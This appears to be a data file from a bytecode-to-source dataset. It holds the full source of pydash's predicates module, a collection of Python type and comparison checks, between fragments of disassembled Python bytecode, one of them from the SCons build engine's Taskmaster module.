LOAD_GLOBAL str CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL isinstance LOAD_FAST value LOAD_GLOBAL tuple CALL_FUNCTION RETURN_VALUE LOAD_FAST value LOAD_CONST 0 COMPARE_OP == JUMP_IF_FALSE_OR_POP LOAD_GLOBAL is_integer LOAD_FAST value CALL_FUNCTION RETURN_VALUE
""" Predicate functions that return boolean evaluations of objects. .. versionadded:: 2.0.0 """ from collections.abc import Iterable, Mapping import datetime from itertools import islice import json import operator import re from types import BuiltinFunctionType import typing as t from typing_extensions import TypeGuard import pydash as pyd from .helpers import BUILTINS, NUMBER_TYPES, UNSET, base_get, callit, iterator if t.TYPE_CHECKING: from _typeshed import ( # pragma: no cover SupportsDunderGE, SupportsDunderGT, SupportsDunderLE, SupportsDunderLT, SupportsRichComparison, ) __all__ = ( "eq", "gt", "gte", "lt", "lte", "in_range", "is_associative", "is_blank", "is_boolean", "is_builtin", "is_date", "is_decreasing", "is_dict", "is_empty", "is_equal", "is_equal_with", "is_error", "is_even", "is_float", "is_function", "is_increasing", "is_indexed", "is_instance_of", "is_integer", "is_iterable", "is_json", "is_list", "is_match", "is_match_with", "is_monotone", "is_nan", "is_negative", "is_none", "is_number", "is_object", "is_odd", "is_positive", "is_reg_exp", "is_set", "is_strictly_decreasing", "is_strictly_increasing", "is_string", "is_tuple", "is_zero", ) T = t.TypeVar("T") T2 = t.TypeVar("T2") T3 = t.TypeVar("T3") RegExp = type(re.compile("")) def eq(value: t.Any, other: t.Any) -> bool: """ Checks if :attr:`value` is equal to :attr:`other`. Args: value: Value to compare. other: Other value to compare. Returns: Whether :attr:`value` is equal to :attr:`other`. Example: >>> eq(None, None) True >>> eq(None, '') False >>> eq('a', 'a') True >>> eq(1, str(1)) False .. versionadded:: 4.0.0 """ return value is other def gt(value: "SupportsDunderGT[T]", other: T) -> bool: """ Checks if `value` is greater than `other`. Args: value: Value to compare. other: Other value to compare. Returns: Whether `value` is greater than `other`. Example: >>> gt(5, 3) True >>> gt(3, 5) False >>> gt(5, 5) False .. versionadded:: 3.3.0 """ return value > other def gte(value: "SupportsDunderGE[T]", other: T) -> bool: """ Checks if `value` is greater than or equal to `other`. Args: value: Value to compare. other: Other value to compare. Returns: Whether `value` is greater than or equal to `other`. Example: >>> gte(5, 3) True >>> gte(3, 5) False >>> gte(5, 5) True .. versionadded:: 3.3.0 """ return value >= other def lt(value: "SupportsDunderLT[T]", other: T) -> bool: """ Checks if `value` is less than `other`. Args: value: Value to compare. other: Other value to compare. Returns: Whether `value` is less than `other`. Example: >>> lt(5, 3) False >>> lt(3, 5) True >>> lt(5, 5) False .. versionadded:: 3.3.0 """ return value < other def lte(value: "SupportsDunderLE[T]", other: T) -> bool: """ Checks if `value` is less than or equal to `other`. Args: value: Value to compare. other: Other value to compare. Returns: Whether `value` is less than or equal to `other`. Example: >>> lte(5, 3) False >>> lte(3, 5) True >>> lte(5, 5) True .. versionadded:: 3.3.0 """ return value <= other def in_range(value: t.Any, start: t.Any = 0, end: t.Any = None) -> bool: """ Checks if `value` is between `start` and up to but not including `end`. If `end` is not specified it defaults to `start` with `start` becoming ``0``. Args: value: Number to check. start: Start of range inclusive. Defaults to ``0``. end: End of range exclusive. Defaults to `start`. Returns: Whether `value` is in range. Example: >>> in_range(2, 4) True >>> in_range(4, 2) False >>> in_range(2, 1, 3) True >>> in_range(3, 1, 2) False >>> in_range(2.5, 3.5) True >>> in_range(3.5, 2.5) False .. versionadded:: 3.1.0 """ if not is_number(value): return False if not is_number(start): start = 0 if end is None: end = start start = 0 elif not is_number(end): end = 0 return start <= value < end def is_associative(value: t.Any) -> bool: """ Checks if `value` is an associative object meaning that it can be accessed via an index or key. Args: value: Value to check. Returns: Whether `value` is associative. Example: >>> is_associative([]) True >>> is_associative({}) True >>> is_associative(1) False >>> is_associative(True) False .. versionadded:: 2.0.0 """ return hasattr(value, "__getitem__") def is_blank(text: t.Any) -> TypeGuard[str]: r""" Checks if `text` contains only whitespace characters. Args: text: String to test. Returns: Whether `text` is blank. Example: >>> is_blank('') True >>> is_blank(' \r\n ') True >>> is_blank(False) False .. versionadded:: 3.0.0 """ try: ret = bool(re.match(r"^(\s+)?$", text)) except TypeError: ret = False return ret def is_boolean(value: t.Any) -> TypeGuard[bool]: """ Checks if `value` is a boolean value. Args: value: Value to check. Returns: Whether `value` is a boolean. Example: >>> is_boolean(True) True >>> is_boolean(False) True >>> is_boolean(0) False .. versionadded:: 1.0.0 .. versionchanged:: 3.0.0 Added ``is_bool`` as alias. .. versionchanged:: 4.0.0 Removed alias ``is_bool``. """ return isinstance(value, bool) def is_builtin(value: t.Any) -> bool: """ Checks if `value` is a Python builtin function or method. Args: value: Value to check. Returns: Whether `value` is a Python builtin function or method. Example: >>> is_builtin(1) True >>> is_builtin(list) True >>> is_builtin('foo') False .. versionadded:: 3.0.0 .. versionchanged:: 4.0.0 Removed alias ``is_native``. """ try: return isinstance(value, BuiltinFunctionType) or value in BUILTINS except TypeError: # pragma: no cover return False def is_date(value: t.Any) -> bool: """ Check if `value` is a date object. Args: value: Value to check. Returns: Whether `value` is a date object. Example: >>> import datetime >>> is_date(datetime.date.today()) True >>> is_date(datetime.datetime.today()) True >>> is_date('2014-01-01') False Note: This will also return ``True`` for datetime objects. .. versionadded:: 1.0.0 """ return isinstance(value, datetime.date) def is_decreasing( value: t.Union["SupportsRichComparison", t.List["SupportsRichComparison"]] ) -> bool: """ Check if `value` is monotonically decreasing. Args: value: Value to check. Returns: Whether `value` is monotonically decreasing. Example: >>> is_decreasing([5, 4, 4, 3]) True >>> is_decreasing([5, 5, 5]) True >>> is_decreasing([5, 4, 5]) False .. versionadded:: 2.0.0 """ return is_monotone(value, operator.ge) # type: ignore def is_dict(value: t.Any) -> bool: """ Checks if `value` is a ``dict``. Args: value: Value to check. Returns: Whether `value` is a ``dict``. Example: >>> is_dict({}) True >>> is_dict([]) False .. versionadded:: 1.0.0 .. versionchanged:: 3.0.0 Added :func:`is_dict` as main definition and made `is_plain_object`` an alias. .. versionchanged:: 4.0.0 Removed alias ``is_plain_object``. """ return isinstance(value, dict) def is_empty(value: t.Any) -> bool: """ Checks if `value` is empty. Args: value: Value to check. Returns: Whether `value` is empty. Example: >>> is_empty(0) True >>> is_empty(1) True >>> is_empty(True) True >>> is_empty('foo') False >>> is_empty(None) True >>> is_empty({}) True Note: Returns ``True`` for booleans and numbers. .. versionadded:: 1.0.0 """ return is_boolean(value) or is_number(value) or not value def is_equal(value: t.Any, other: t.Any) -> bool: """ Performs a comparison between two values to determine if they are equivalent to each other. Args: value: Object to compare. other: Object to compare. Returns: Whether `value` and `other` are equal. Example: >>> is_equal([1, 2, 3], [1, 2, 3]) True >>> is_equal('a', 'A') False .. versionadded:: 1.0.0 .. versionchanged:: 4.0.0 Removed :attr:`iteratee` from :func:`is_equal` and added it in :func:`is_equal_with`. """ return is_equal_with(value, other, customizer=None) @t.overload def is_equal_with(value: T, other: T2, customizer: t.Callable[[T, T2], T3]) -> T3: ... @t.overload def is_equal_with(value: t.Any, other: t.Any, customizer: t.Callable) -> bool: ... @t.overload def is_equal_with(value: t.Any, other: t.Any, customizer: None) -> bool: ... def is_equal_with(value, other, customizer): """ This method is like :func:`is_equal` except that it accepts customizer which is invoked to compare values. A customizer is provided which will be executed to compare values. If the customizer returns ``None``, comparisons will be handled by the method instead. The customizer is invoked with two arguments: ``(value, other)``. Args: value: Object to compare. other: Object to compare. customizer: Customizer used to compare values from `value` and `other`. Returns: Whether `value` and `other` are equal. Example: >>> is_equal_with([1, 2, 3], [1, 2, 3], None) True >>> is_equal_with('a', 'A', None) False >>> is_equal_with('a', 'A', lambda a, b: a.lower() == b.lower()) True .. versionadded:: 4.0.0 """ equal = customizer(value, other) if callable(customizer) else None if equal is not None: pass elif ( callable(customizer) and type(value) is type(other) and isinstance(value, (list, dict)) and isinstance(other, (list, dict)) and len(value) == len(other) ): for key, val in iterator(value): if pyd.has(other, key): equal = is_equal_with(val, other[key], customizer) else: equal = False if not equal: break else: equal = value == other return equal def is_error(value: t.Any) -> bool: """ Checks if `value` is an ``Exception``. Args: value: Value to check. Returns: Whether `value` is an exception. Example: >>> is_error(Exception()) True >>> is_error(Exception) False >>> is_error(None) False .. versionadded:: 1.1.0 """ return isinstance(value, Exception) def is_even(value: t.Any) -> bool: """ Checks if `value` is even. Args: value: Value to check. Returns: Whether `value` is even. Example: >>> is_even(2) True >>> is_even(3) False >>> is_even(False) False .. versionadded:: 2.0.0 """ return is_number(value) and value % 2 == 0 def is_float(value: t.Any) -> TypeGuard[float]: """ Checks if `value` is a float. Args: value: Value to check. Returns: Whether `value` is a float. Example: >>> is_float(1.0) True >>> is_float(1) False .. versionadded:: 2.0.0 """ return isinstance(value, float) def is_function(value: t.Any) -> bool: """ Checks if `value` is a function. Args: value: Value to check. Returns: Whether `value` is callable. Example: >>> is_function(list) True >>> is_function(lambda: True) True >>> is_function(1) False .. versionadded:: 1.0.0 """ return callable(value) def is_increasing( value: t.Union["SupportsRichComparison", t.List["SupportsRichComparison"]] ) -> bool: """ Check if `value` is monotonically increasing. Args: value: Value to check. Returns: Whether `value` is monotonically increasing. Example: >>> is_increasing([1, 3, 5]) True >>> is_increasing([1, 1, 2, 3, 3]) True >>> is_increasing([5, 5, 5]) True >>> is_increasing([1, 2, 4, 3]) False .. versionadded:: 2.0.0 """ return is_monotone(value, operator.le) # type: ignore def is_indexed(value: t.Any) -> bool: """ Checks if `value` is integer indexed, i.e., ``list``, ``str`` or ``tuple``. Args: value: Value to check. Returns: Whether `value` is integer indexed. Example: >>> is_indexed('') True >>> is_indexed([]) True >>> is_indexed(()) True >>> is_indexed({}) False .. versionadded:: 2.0.0 .. versionchanged:: 3.0.0 Return ``True`` for tuples. """ return isinstance(value, (list, tuple, str)) def is_instance_of(value: t.Any, types: t.Union[type, t.Tuple[type, ...]]) -> bool: """ Checks if `value` is an instance of `types`. Args: value: Value to check. types: Types to check against. Pass as ``tuple`` to check if `value` is one of multiple types. Returns: Whether `value` is an instance of `types`. Example: >>> is_instance_of({}, dict) True >>> is_instance_of({}, list) False .. versionadded:: 2.0.0 """ return isinstance(value, types) def is_integer(value: t.Any) -> TypeGuard[int]: """ Checks if `value` is a integer. Args: value: Value to check. Returns: Whether `value` is an integer. Example: >>> is_integer(1) True >>> is_integer(1.0) False >>> is_integer(True) False .. versionadded:: 2.0.0 .. versionchanged:: 3.0.0 Added ``is_int`` as alias. .. versionchanged:: 4.0.0 Removed alias ``is_int``. """ return is_number(value) and isinstance(value, int) def is_iterable(value: t.Any) -> bool: """ Checks if `value` is an iterable. Args: value: Value to check. Returns: Whether `value` is an iterable. Example: >>> is_iterable([]) True >>> is_iterable({}) True >>> is_iterable(()) True >>> is_iterable(5) False >>> is_iterable(True) False .. versionadded:: 3.3.0 """ try: iter(value) except TypeError: return False else: return True def is_json(value: t.Any) -> bool: """ Checks if `value` is a valid JSON string. Args: value: Value to check. Returns: Whether `value` is JSON. Example: >>> is_json({}) False >>> is_json('{}') True >>> is_json({"hello": 1, "world": 2}) False >>> is_json('{"hello": 1, "world": 2}') True .. versionadded:: 2.0.0 """ try: json.loads(value) return True except Exception: return False def is_list(value: t.Any) -> bool: """ Checks if `value` is a list. Args: value: Value to check. Returns: Whether `value` is a list. Example: >>> is_list([]) True >>> is_list({}) False >>> is_list(()) False .. versionadded:: 1.0.0 """ return isinstance(value, list) def is_match(obj: t.Any, source: t.Any) -> bool: """ Performs a partial deep comparison between `obj` and `source` to determine if `obj` contains equivalent property values. Args: obj: Object to compare. source: Object of property values to match. Returns: Whether `obj` is a match or not. Example: >>> is_match({'a': 1, 'b': 2}, {'b': 2}) True >>> is_match({'a': 1, 'b': 2}, {'b': 3}) False >>> is_match({'a': [{'b': [{'c': 3, 'd': 4}]}]},\ {'a': [{'b': [{'d': 4}]}]}) True .. versionadded:: 3.0.0 .. versionchanged:: 3.2.0 Don't compare `obj` and `source` using ``type``. Use ``isinstance`` exclusively. .. versionchanged:: 4.0.0 Move `iteratee` argument to :func:`is_match_with`. """ return is_match_with(obj, source) def is_match_with( obj: t.Any, source: t.Any, customizer: t.Any = None, _key: t.Any = UNSET, _obj: t.Any = UNSET, _source: t.Any = UNSET, ) -> bool: """ This method is like :func:`is_match` except that it accepts customizer which is invoked to compare values. If customizer returns ``None``, comparisons are handled by the method instead. The customizer is invoked with five arguments: ``(obj_value, src_value, index|key, obj, source)``. Args: obj: Object to compare. source: Object of property values to match. customizer: Customizer used to compare values from `obj` and `source`. Returns: Whether `obj` is a match or not. Example: >>> is_greeting = lambda val: val in ('hello', 'hi') >>> customizer = lambda ov, sv: is_greeting(ov) and is_greeting(sv) >>> obj = {'greeting': 'hello'} >>> src = {'greeting': 'hi'} >>> is_match_with(obj, src, customizer) True .. versionadded:: 4.0.0 """ if _obj is UNSET: _obj = obj if _source is UNSET: _source = source if not callable(customizer): def cbk(obj_value, src_value): return obj_value == src_value cbk._argcount = 2 # type: ignore else: cbk = customizer if isinstance(source, (Mapping, Iterable)) and not isinstance(source, str): equal = not source for key, value in iterator(source): try: obj_value = base_get(obj, key) equal = is_match_with( obj_value, value, cbk, _key=key, _obj=_obj, _source=_source ) except Exception: equal = False if not equal: break else: equal = callit(cbk, obj, source, _key, _obj, _source) return equal def is_monotone(value: t.Union[T, t.List[T]], op: t.Callable[[T, T], t.Any]) -> bool: """ Checks if `value` is monotonic when `operator` used for comparison. Args: value: Value to check. op: Operation to used for comparison. Returns: Whether `value` is monotone. Example: >>> is_monotone([1, 1, 2, 3], operator.le) True >>> is_monotone([1, 1, 2, 3], operator.lt) False .. versionadded:: 2.0.0 """ if not is_list(value): l_value = [value] else: l_value = value # type: ignore search = ( False for x, y in zip(l_value, islice(l_value, 1, None)) if not op(x, y) # type: ignore ) return next(search, True) def is_nan(value: t.Any) -> bool: """ Checks if `value` is not a number. Args: value: Value to check. Returns: Whether `value` is not a number. Example: >>> is_nan('a') True >>> is_nan(1) False >>> is_nan(1.0) False .. versionadded:: 1.0.0 """ return not is_number(value) def is_negative(value: t.Any) -> bool: """ Checks if `value` is negative. Args: value: Value to check. Returns: Whether `value` is negative. Example: >>> is_negative(-1) True >>> is_negative(0) False >>> is_negative(1) False .. versionadded:: 2.0.0 """ return is_number(value) and value < 0 def is_none(value: t.Any) -> TypeGuard[None]: """ Checks if `value` is `None`. Args: value: Value to check. Returns: Whether `value` is ``None``. Example: >>> is_none(None) True >>> is_none(False) False .. versionadded:: 1.0.0 """ return value is None def is_number(value: t.Any) -> bool: """ Checks if `value` is a number. Args: value: Value to check. Returns: Whether `value` is a number. Note: Returns ``True`` for ``int``, ``long`` (PY2), ``float``, and ``decimal.Decimal``. Example: >>> is_number(1) True >>> is_number(1.0) True >>> is_number('a') False .. versionadded:: 1.0.0 .. versionchanged:: 3.0.0 Added ``is_num`` as alias. .. versionchanged:: 4.0.0 Removed alias ``is_num``. """ return not is_boolean(value) and isinstance(value, NUMBER_TYPES) def is_object(value: t.Any) -> bool: """ Checks if `value` is a ``list`` or ``dict``. Args: value: Value to check. Returns: Whether `value` is ``list`` or ``dict``. Example: >>> is_object([]) True >>> is_object({}) True >>> is_object(()) False >>> is_object(1) False .. versionadded:: 1.0.0 """ return isinstance(value, (list, dict)) def is_odd(value: t.Any) -> bool: """ Checks if `value` is odd. Args: value: Value to check. Returns: Whether `value` is odd. Example: >>> is_odd(3) True >>> is_odd(2) False >>> is_odd('a') False .. versionadded:: 2.0.0 """ return is_number(value) and value % 2 != 0 def is_positive(value: t.Any) -> bool: """ Checks if `value` is positive. Args: value: Value to check. Returns: Whether `value` is positive. Example: >>> is_positive(1) True >>> is_positive(0) False >>> is_positive(-1) False .. versionadded:: 2.0.0 """ return is_number(value) and value > 0 def is_reg_exp(value: t.Any) -> TypeGuard[re.Pattern]: """ Checks if `value` is a ``RegExp`` object. Args: value: Value to check. Returns: Whether `value` is a RegExp object. Example: >>> is_reg_exp(re.compile('')) True >>> is_reg_exp('') False .. versionadded:: 1.1.0 .. versionchanged:: 4.0.0 Removed alias ``is_re``. """ return isinstance(value, RegExp) def is_set(value: t.Any) -> bool: """ Checks if the given value is a set object or not. Args: value: Value passed in by the user. Returns: True if the given value is a set else False. Example: >>> is_set(set([1, 2])) True >>> is_set([1, 2, 3]) False .. versionadded:: 4.0.0 """ return isinstance(value, set) def is_strictly_decreasing( value: t.Union["SupportsRichComparison", t.List["SupportsRichComparison"]] ) -> bool: """ Check if `value` is strictly decreasing. Args: value: Value to check. Returns: Whether `value` is strictly decreasing. Example: >>> is_strictly_decreasing([4, 3, 2, 1]) True >>> is_strictly_decreasing([4, 4, 2, 1]) False .. versionadded:: 2.0.0 """ return is_monotone(value, operator.gt) # type: ignore def is_strictly_increasing( value: t.Union["SupportsRichComparison", t.List["SupportsRichComparison"]] ) -> bool: """ Check if `value` is strictly increasing. Args: value: Value to check. Returns: Whether `value` is strictly increasing. Example: >>> is_strictly_increasing([1, 2, 3, 4]) True >>> is_strictly_increasing([1, 1, 3, 4]) False .. versionadded:: 2.0.0 """ return is_monotone(value, operator.lt) # type: ignore def is_string(value: t.Any) -> TypeGuard[str]: """ Checks if `value` is a string. Args: value: Value to check. Returns: Whether `value` is a string. Example: >>> is_string('') True >>> is_string(1) False .. versionadded:: 1.0.0 """ return isinstance(value, str) def is_tuple(value: t.Any) -> bool: """ Checks if `value` is a tuple. Args: value: Value to check. Returns: Whether `value` is a tuple. Example: >>> is_tuple(()) True >>> is_tuple({}) False >>> is_tuple([]) False .. versionadded:: 3.0.0 """ return isinstance(value, tuple) def is_zero(value: t.Any) -> TypeGuard[int]: """ Checks if `value` is ``0``. Args: value: Value to check. Returns: Whether `value` is ``0``. Example: >>> is_zero(0) True >>> is_zero(1) False .. versionadded:: 2.0.0 """ return value == 0 and is_integer(value)
data/pydash-7.0.7/src/pydash/predicates.py
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LOAD_CONST 0 LOAD_CONST ('print_function',) IMPORT_NAME __future__ IMPORT_FROM print_function STORE_NAME print_function POP_TOP LOAD_CONST 0 LOAD_CONST None IMPORT_NAME sys STORE_NAME sys LOAD_CONST '\n Generic Taskmaster module for the SCons build engine.\n =====================================================\n\n This module contains the primary interface(s) between a wrapping user\n interface and the SCons build engine. There are two key classes here:\n\n Taskmaster\n ----------\n This is the main engine for walking the dependency graph and\n calling things to decide what does or doesn\'t need to be built.\n\n Task\n ----\n This is the base class for allowing a wrapping interface to\n decide what does or doesn\'t actually need to be done. The\n intention is for a wrapping interface to subclass this as\n appropriate for different types of behavior it may need.\n\n The canonical example is the SCons native Python interface,\n which has Task subclasses that handle its specific behavior,\n like printing "\'foo\' is up to date" when a top-level target\n doesn\'t need to be built, and handling the -c option by removing\n targets as its "build" action. There is also a separate subclass\n for suppressing this output when the -q option is used.\n\n The Taskmaster instantiates a Task object for each (set of)\n target(s) that it decides need to be evaluated and/or built.\n' STORE_NAME __doc__ LOAD_CONST 'src/engine/SCons/Taskmaster.py bee7caf9defd6e108fc2998a2520ddb36a967691 2019-12-17 02:07:09 bdeegan' STORE_NAME __revision__ LOAD_CONST 0 LOAD_CONST ('chain',) IMPORT_NAME itertools IMPORT_FROM chain STORE_NAME chain POP_TOP LOAD_CONST 0 LOAD_CONST None IMPORT_NAME operator STORE_NAME operator LOAD_CONST 0 LOAD_CONST None IMPORT_NAME sys STORE_NAME sys LOAD_CONST 0 LOAD_CONST None IMPORT_NAME traceback STORE_NAME traceback LOAD_CONST 0 LOAD_CONST None IMPORT_NAME SCons.Errors STORE_NAME SCons LOAD_CONST 0 LOAD_CONST None IMPORT_NAME SCons.Node STORE_NAME SCons LOAD_CONST 0 LOAD_CONST None IMPORT_NAME SCons.Warnings STORE_NAME SCons LOAD_NAME SCons LOAD_ATTR Node LOAD_ATTR StateString STORE_NAME StateString LOAD_NAME SCons LOAD_ATTR Node LOAD_ATTR no_state STORE_NAME NODE_NO_STATE LOAD_NAME SCons LOAD_ATTR Node LOAD_ATTR pending STORE_NAME NODE_PENDING LOAD_NAME SCons LOAD_ATTR Node LOAD_ATTR executing STORE_NAME NODE_EXECUTING LOAD_NAME SCons LOAD_ATTR Node LOAD_ATTR up_to_date STORE_NAME NODE_UP_TO_DATE LOAD_NAME SCons LOAD_ATTR Node LOAD_ATTR executed STORE_NAME NODE_EXECUTED LOAD_NAME SCons LOAD_ATTR Node LOAD_ATTR failed STORE_NAME NODE_FAILED LOAD_CONST 0 STORE_GLOBAL print_prepare LOAD_CONST None STORE_NAME CollectStats LOAD_BUILD_CLASS LOAD_CONST <code object Stats at 0x7fab7006d930, file "f.py", line 60> LOAD_CONST 'Stats' MAKE_FUNCTION LOAD_CONST 'Stats' LOAD_NAME object CALL_FUNCTION STORE_NAME Stats BUILD_LIST STORE_NAME StatsNodes LOAD_CONST '%(considered)3d %(already_handled)3d %(problem)3d %(child_failed)3d %(not_built)3d %(side_effects)3d %(build)3d ' STORE_NAME fmt LOAD_CONST <code object dump_stats at 0x7fab7006d420, file "f.py", line 96> LOAD_CONST 'dump_stats' MAKE_FUNCTION STORE_NAME dump_stats LOAD_BUILD_CLASS LOAD_CONST <code object Task at 0x7fab40ea6930, file "f.py", line 101> LOAD_CONST 'Task' MAKE_FUNCTION LOAD_CONST 'Task' LOAD_NAME object CALL_FUNCTION STORE_NAME Task LOAD_BUILD_CLASS LOAD_CONST <code object AlwaysTask at 0x7fab40ea6810, file "f.py", line 506> LOAD_CONST 'AlwaysTask' MAKE_FUNCTION LOAD_CONST 'AlwaysTask' LOAD_NAME Task CALL_FUNCTION STORE_NAME AlwaysTask LOAD_BUILD_CLASS LOAD_CONST <code object OutOfDateTask at 0x7fab40ea6f60, file "f.py", line 522> LOAD_CONST 'OutOfDateTask' MAKE_FUNCTION LOAD_CONST 'OutOfDateTask' LOAD_NAME Task CALL_FUNCTION STORE_NAME OutOfDateTask LOAD_CONST <code object find_cycle at 0x7fab40ea6420, file "f.py", line 532> LOAD_CONST 'find_cycle' MAKE_FUNCTION STORE_NAME find_cycle LOAD_BUILD_CLASS LOAD_CONST <code object Taskmaster at 0x7fab54381a50, file "f.py", line 546> LOAD_CONST 'Taskmaster' MAKE_FUNCTION LOAD_CONST 'Taskmaster' LOAD_NAME object CALL_FUNCTION STORE_NAME Taskmaster LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'Stats' STORE_NAME __qualname__ LOAD_CONST "\n A simple class for holding statistics about the disposition of a\n Node by the Taskmaster. If we're collecting statistics, each Node\n processed by the Taskmaster gets one of these attached, in which case\n the Taskmaster records its decision each time it processes the Node.\n (Ideally, that's just once per Node.)\n " STORE_NAME __doc__ LOAD_CONST <code object __init__ at 0x7fab7006d9c0, file "f.py", line 69> LOAD_CONST 'Stats.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CONST None RETURN_VALUE LOAD_CONST 0 LOAD_FAST self STORE_ATTR considered LOAD_CONST 0 LOAD_FAST self STORE_ATTR already_handled LOAD_CONST 0 LOAD_FAST self STORE_ATTR problem LOAD_CONST 0 LOAD_FAST self STORE_ATTR child_failed LOAD_CONST 0 LOAD_FAST self STORE_ATTR not_built LOAD_CONST 0 LOAD_FAST self STORE_ATTR side_effects LOAD_CONST 0 LOAD_FAST self STORE_ATTR build LOAD_CONST None RETURN_VALUE SETUP_LOOP to 52 LOAD_GLOBAL sorted LOAD_GLOBAL StatsNodes LOAD_CONST <code object <lambda> at 0x7fab7006de40, file "f.py", line 97> LOAD_CONST 'dump_stats.<locals>.<lambda>' MAKE_FUNCTION LOAD_CONST ('key',) CALL_FUNCTION GET_ITER FOR_ITER to 50 STORE_FAST n LOAD_GLOBAL print LOAD_GLOBAL fmt LOAD_FAST n LOAD_ATTR attributes LOAD_ATTR stats LOAD_ATTR __dict__ BINARY_MODULO LOAD_GLOBAL str LOAD_FAST n CALL_FUNCTION BINARY_ADD CALL_FUNCTION POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE LOAD_GLOBAL str LOAD_FAST a CALL_FUNCTION RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'Task' STORE_NAME __qualname__ LOAD_CONST "\n Default SCons build engine task.\n\n This controls the interaction of the actual building of node\n and the rest of the engine.\n\n This is expected to handle all of the normally-customizable\n aspects of controlling a build, so any given application\n *should* be able to do what it wants by sub-classing this\n class and overriding methods as appropriate. If an application\n needs to customize something by sub-classing Taskmaster (or\n some other build engine class), we should first try to migrate\n that functionality into this class.\n\n Note that it's generally a good idea for sub-classes to call\n these methods explicitly to update state, etc., rather than\n roll their own interaction with Taskmaster from scratch.\n " STORE_NAME __doc__ LOAD_CONST <code object __init__ at 0x7fab7006d390, file "f.py", line 121> LOAD_CONST 'Task.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CONST ('node',) LOAD_CONST <code object trace_message at 0x7fab7006d6f0, file "f.py", line 128> LOAD_CONST 'Task.trace_message' MAKE_FUNCTION STORE_NAME trace_message LOAD_CONST <code object display at 0x7fab7006d0c0, file "f.py", line 132> LOAD_CONST 'Task.display' MAKE_FUNCTION STORE_NAME display LOAD_CONST <code object prepare at 0x7fab7006d810, file "f.py", line 145> LOAD_CONST 'Task.prepare' MAKE_FUNCTION STORE_NAME prepare LOAD_CONST <code object get_target at 0x7fab7006df60, file "f.py", line 179> LOAD_CONST 'Task.get_target' MAKE_FUNCTION STORE_NAME get_target LOAD_CONST <code object needs_execute at 0x7fab8233db70, file "f.py", line 183> LOAD_CONST 'Task.needs_execute' MAKE_FUNCTION STORE_NAME needs_execute LOAD_CONST <code object execute at 0x7fab5434bc00, file "f.py", line 192> LOAD_CONST 'Task.execute' MAKE_FUNCTION STORE_NAME execute LOAD_CONST <code object executed_without_callbacks at 0x7fab5434b810, file "f.py", line 233> LOAD_CONST 'Task.executed_without_callbacks' MAKE_FUNCTION STORE_NAME executed_without_callbacks LOAD_CONST <code object executed_with_callbacks at 0x7fab5434b9c0, file "f.py", line 249> LOAD_CONST 'Task.executed_with_callbacks' MAKE_FUNCTION STORE_NAME executed_with_callbacks LOAD_NAME executed_with_callbacks STORE_NAME executed LOAD_CONST <code object failed at 0x7fab4107c1e0, file "f.py", line 285> LOAD_CONST 'Task.failed' MAKE_FUNCTION STORE_NAME failed LOAD_CONST <code object fail_stop at 0x7fab4107c5d0, file "f.py", line 295> LOAD_CONST 'Task.fail_stop' MAKE_FUNCTION STORE_NAME fail_stop LOAD_CONST <code object fail_continue at 0x7fab4107cd20, file "f.py", line 317> LOAD_CONST 'Task.fail_continue' MAKE_FUNCTION STORE_NAME fail_continue LOAD_CONST <code object make_ready_all at 0x7fab4107c930, file "f.py", line 334> LOAD_CONST 'Task.make_ready_all' MAKE_FUNCTION STORE_NAME make_ready_all LOAD_CONST <code object make_ready_current at 0x7fab40ea6660, file "f.py", line 351> LOAD_CONST 'Task.make_ready_current' MAKE_FUNCTION STORE_NAME make_ready_current LOAD_NAME make_ready_current STORE_NAME make_ready LOAD_CONST <code object postprocess at 0x7fab40ea6c90, file "f.py", line 396> LOAD_CONST 'Task.postprocess' MAKE_FUNCTION STORE_NAME postprocess LOAD_CONST <code object exc_info at 0x7fab40ea6150, file "f.py", line 452> LOAD_CONST 'Task.exc_info' MAKE_FUNCTION STORE_NAME exc_info LOAD_CONST <code object exc_clear at 0x7fab40ea65d0, file "f.py", line 458> LOAD_CONST 'Task.exc_clear' MAKE_FUNCTION STORE_NAME exc_clear LOAD_CONST (None,) LOAD_CONST <code object exception_set at 0x7fab40ea68a0, file "f.py", line 468> LOAD_CONST 'Task.exception_set' MAKE_FUNCTION STORE_NAME exception_set LOAD_CONST <code object _no_exception_to_raise at 0x7fab40ea6d20, file "f.py", line 480> LOAD_CONST 'Task._no_exception_to_raise' MAKE_FUNCTION STORE_NAME _no_exception_to_raise LOAD_CONST <code object _exception_raise at 0x7fab40ea6b70, file "f.py", line 483> LOAD_CONST 'Task._exception_raise' MAKE_FUNCTION STORE_NAME _exception_raise LOAD_CONST None RETURN_VALUE LOAD_FAST tm LOAD_FAST self STORE_ATTR tm LOAD_FAST targets LOAD_FAST self STORE_ATTR targets LOAD_FAST top LOAD_FAST self STORE_ATTR top LOAD_FAST node LOAD_FAST self STORE_ATTR node LOAD_FAST self LOAD_METHOD exc_clear CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_CONST '%-20s %s %s\n' STORE_FAST fmt LOAD_FAST fmt LOAD_FAST method LOAD_CONST ':' BINARY_ADD LOAD_FAST description LOAD_FAST self LOAD_ATTR tm LOAD_METHOD trace_node LOAD_FAST node CALL_METHOD BUILD_TUPLE BINARY_MODULO RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR tm LOAD_ATTR trace STORE_FAST T LOAD_FAST T POP_JUMP_IF_FALSE LOAD_FAST T LOAD_METHOD write LOAD_FAST self LOAD_METHOD trace_message LOAD_CONST 'Task.prepare()' LOAD_FAST self LOAD_ATTR node CALL_METHOD CALL_METHOD POP_TOP LOAD_FAST self LOAD_METHOD exception_raise CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR tm LOAD_ATTR message POP_JUMP_IF_FALSE LOAD_FAST self LOAD_METHOD display LOAD_FAST self LOAD_ATTR tm LOAD_ATTR message CALL_METHOD POP_TOP LOAD_CONST None LOAD_FAST self LOAD_ATTR tm STORE_ATTR message LOAD_FAST self LOAD_ATTR targets LOAD_CONST 0 BINARY_SUBSCR LOAD_METHOD get_executor CALL_METHOD STORE_FAST executor LOAD_FAST executor LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_CONST None RETURN_VALUE LOAD_FAST executor LOAD_METHOD prepare 